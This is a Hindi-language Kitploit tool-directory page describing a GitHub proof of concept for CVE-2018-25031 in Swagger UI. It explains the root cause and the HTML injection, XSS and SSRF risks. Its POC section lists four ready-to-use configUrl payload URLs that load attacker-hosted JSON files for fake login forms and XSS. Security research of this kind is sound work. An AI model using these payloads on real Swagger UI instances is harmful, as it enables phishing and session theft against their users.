Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
swagger-ui — Swagger UI (CVE-2018-25031) POC, [HTMLi, XSS]. | Kitploit
उपकरण/GitHubGitHub/relichunt3r/swagger-ui
फ़िशिंग उपकरणभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubrelichunt3r/swagger-ui

swagger-ui

Swagger UI (CVE-2018-25031) POC, [HTMLi, XSS].

रिपॉजिटरी देखें
510 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

परिचय: Swagger UI की भूमिका

Swagger UI एक व्यापक रूप से उपयोग की जाने वाली लाइब्रेरी है जो OpenAPI (पूर्व में Swagger) विनिर्देशों को एक इंटरैक्टिव वेब इंटरफ़ेस में प्रस्तुत करती है। यह डेवलपर्स और इंटीग्रेटर्स को बैकएंड कार्यान्वयन के बिना API का अन्वेषण और परीक्षण करने में सक्षम बनाती है।

CVE‑2018‑25031 विवरण

मूल कारण: रिमोट स्पेसिफिकेशन लोडिंग

यह भेद्यता Swagger UI क्लाइंट द्वारा रिमोट कॉन्फ़िगरेशन या स्पेसिफिकेशन फ़ाइलों को लोड करने के लिए उपयोग किए जाने वाले URL क्वेरी पैरामीटर के अपर्याप्त सत्यापन से उत्पन्न होती है। सामान्य पैरामीटर में शामिल हैं:

  • ?url=.yaml
  • ?configUrl=.json

कोई हमलावर इन पैरामीटरों को एक हमलावर-नियंत्रित OpenAPI परिभाषा या रिमोट रूप से होस्ट की गई कॉन्फ़िगरेशन फ़ाइल की ओर इंगित कर सकता है, जिसे किसी संवेदनशील इंस्टेंस द्वारा प्रस्तुत किया जा सकता है।

संभावित हमले के वैक्टर

एक दुर्भावनापूर्ण रिमोट फ़ाइल लोड करने से होस्टिंग कॉन्फ़िगरेशन और मौजूद सुरक्षा उपायों के आधार पर कई उच्च-प्रभाव वाले परिदृश्य सक्षम हो सकते हैं:

  1. HTML इंजेक्शन (HTMLi) / फ़िशिंग - इंजेक्ट की गई फ़ाइलों में मनमाना HTML हो सकता है जो सामग्री को दृष्टिगत रूप से नकली बनाता है (उदाहरण के लिए, नकली लॉगिन फ़ॉर्म), एक स्व-होस्टेड इंस्टेंस के विश्वसनीय डोमेन का दुरुपयोग करते हुए।
  2. क्रॉस-साइट स्क्रिप्टिंग (XSS) - यदि इंजेक्ट की गई सामग्री में निष्पादन योग्य जावास्क्रिप्ट शामिल है, तो यह DOM XSS का कारण बन सकती है और सत्र चोरी या उपयोगकर्ताओं की ओर से कार्रवाई की अनुमति दे सकती है।
  3. सर्वर-साइड रिक्वेस्ट फोजरी (SSRF) - जब सर्वर क्लाइंट की ओर से रिमोट स्पेसिफिकेशन लाते हैं, तो एक हमलावर सर्वर को आंतरिक एंडपॉइंट्स पर अनुरोध करने के लिए मजबूर कर सकता है, जिससे संवेदनशील संसाधन उजागर हो सकते हैं।

संदर्भ:

  • https://nvd.nist.gov/vuln/detail/CVE-2018-25031
  • https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers

प्रमाण-अवधारणा (POC)

पेलोड

1 - लॉगिन

?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/login.json

2 - रिमोट लॉगिन

?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/remote-login.json

3 - इमेज

?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/img.json

4 - XSS

?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/xss.json

📌 अस्वीकरण

इस रिपॉजिटरी की सामग्री केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए प्रदान की गई है। लेखक किसी भी दुरुपयोग के लिए उत्तरदायी नहीं है। उपयोग से पहले उचित प्राधिकरण सुनिश्चित करें, अपने जोखिम पर जिम्मेदारी से कार्य करें, और सभी कानूनी और नैतिक दिशानिर्देशों का पालन करें।

टूल डाउनलोड करें